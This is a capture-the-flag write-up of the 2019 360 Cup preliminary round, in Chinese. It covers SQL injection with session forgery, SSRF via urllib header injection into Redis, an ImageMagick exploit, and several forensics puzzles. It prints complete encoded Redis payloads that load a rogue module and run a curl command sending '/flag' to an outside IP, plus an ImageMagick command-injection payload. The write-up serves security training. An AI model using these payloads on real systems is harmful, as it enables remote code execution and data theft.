2019 360杯网络安全职业技能大赛 初赛WriteUP

立志成为admin的男人

通过注册,提示要admin

2019 360杯网络安全职业技能大赛 初赛WriteUP_第1张图片

登陆处存在sql注入:
2019 360杯网络安全职业技能大赛 初赛WriteUP_第2张图片

sqlmap注出管理员账号:
2019 360杯网络安全职业技能大赛 初赛WriteUP_第3张图片

这里没有权限读取index.php,那肯定也没有权限能写webshell

2019 360杯网络安全职业技能大赛 初赛WriteUP_第4张图片

扫描可以得到一个test.php,里面打印当前的用户名:
2019 360杯网络安全职业技能大赛 初赛WriteUP_第5张图片

这里可以通过注入漏洞,往/tmp目录下的session文件中写入,来伪造自己admin的身份。
2019 360杯网络安全职业技能大赛 初赛WriteUP_第6张图片

修改session,访问index.php就可以得到flag
2019 360杯网络安全职业技能大赛 初赛WriteUP_第7张图片

用Python写的一个网站 好像还没有写完?

首页有个ssrf漏洞,但是能通过http协议访问。
可以看一下请求头,是nginx,并且网站是用python/3.6.5写的:

2019 360杯网络安全职业技能大赛 初赛WriteUP_第8张图片

存在nginx目录穿越漏洞,可以得到源码:/static../main.py
2019 360杯网络安全职业技能大赛 初赛WriteUP_第9张图片

pythonurllib出现过头注入,可以同来攻击内网ssrf,来测试一下:

2019 360杯网络安全职业技能大赛 初赛WriteUP_第10张图片

成功注入头部,存在urllib头注入漏洞。
这里攻击内网redis,用到了主从rcegithub上有开源的脚本。
先开启恶意的redis服务器:
2019 360杯网络安全职业技能大赛 初赛WriteUP_第11张图片

然后设置redis的主服务器为恶意redis服务。

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

SLAVEOF 192.168.21.1 7789       //

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a

CONFIG SET dbfilename exp.so    //

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

加载恶意模块:

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

MODULE LOAD ./exp.so            //

*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a

SLAVEOF NO ONE                  //

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'`

然后执行命令,因为无回显,所以利用curl命令把flag文件传输出去:

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

system.exec 'curl -F "file=@/flag"

http://192.168.21.1:7789'    //

*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'
2019 360杯网络安全职业技能大赛 初赛WriteUP_第12张图片

最后删除恶意模块,关闭恶意模块:

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

CONFIG SET dbfilename dump.rdb  //

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a

system.exec 'rm ./exp.so'       //

*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a

MODULE UNLOAD system            //

*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a

真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?

打开,需要爆破得到账号密码admin/1qaz@WSX。(吐槽:这TM谁爆得出来?)

2019 360杯网络安全职业技能大赛 初赛WriteUP_第13张图片

登陆后有个上传点,源码有串base64提示:
2019 360杯网络安全职业技能大赛 初赛WriteUP_第14张图片

这里就利用imagemagick+getimagesize来执行代码。参考链接
payload

push graphic-context

viewbox 0 0 640 480

fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'

pop graphic-context

#define xlogo_width 200

#define xlogo_height 200

最后找下flag

2019 360杯网络安全职业技能大赛 初赛WriteUP_第15张图片

注入真的好难!!!

分析数据包,可以看到一堆sql盲注的流量。

2019 360杯网络安全职业技能大赛 初赛WriteUP_第16张图片

参照土司机的博客,可以提取出最后的url:t.cn/Ai8PhqSbpasswd:bkis
得到一个加密的压缩包。
翻找流量包,可以看到一个readme.7z
2019 360杯网络安全职业技能大赛 初赛WriteUP_第17张图片

看到两个压缩包都有readme.txt,所以是明文攻击。
2019 360杯网络安全职业技能大赛 初赛WriteUP_第18张图片

readme.7z解压,再用7z压缩工具把readme.txt压缩成zip形式的。
2019 360杯网络安全职业技能大赛 初赛WriteUP_第19张图片

解压就可以得到最后的flag
2019 360杯网络安全职业技能大赛 初赛WriteUP_第20张图片

google语法真不错!!!

给了一个系统镜像,首先分析下版本:

$ volatility -f xp.raw imageinfo

2019 360杯网络安全职业技能大赛 初赛WriteUP_第21张图片

架构应该是WinXPSP2x86
查看下进程:

$ volatility -f xp.raw –profile=WinXPSP2x86 pslist
2019 360杯网络安全职业技能大赛 初赛WriteUP_第22张图片

可以查看下桌面文件:

$ volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面

2019 360杯网络安全职业技能大赛 初赛WriteUP_第23张图片

有个360.jpg,提取一下:

$ volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340


再去查看下ie浏览器历史:

$ volatility -f xp.raw –profile=WinXPSP2x86 iehistory

2019 360杯网络安全职业技能大赛 初赛WriteUP_第24张图片

搜索下可以发现个github仓库:
2019 360杯网络安全职业技能大赛 初赛WriteUP_第25张图片

看下提交记录,提示了F5,那就是F5隐写了。
2019 360杯网络安全职业技能大赛 初赛WriteUP_第26张图片

解密:

$ java Extract 360.jpg -p 360CTFisSOeasy

得到out.txt,里面就是flag

你可能感兴趣的:(2019 360杯网络安全职业技能大赛 初赛WriteUP)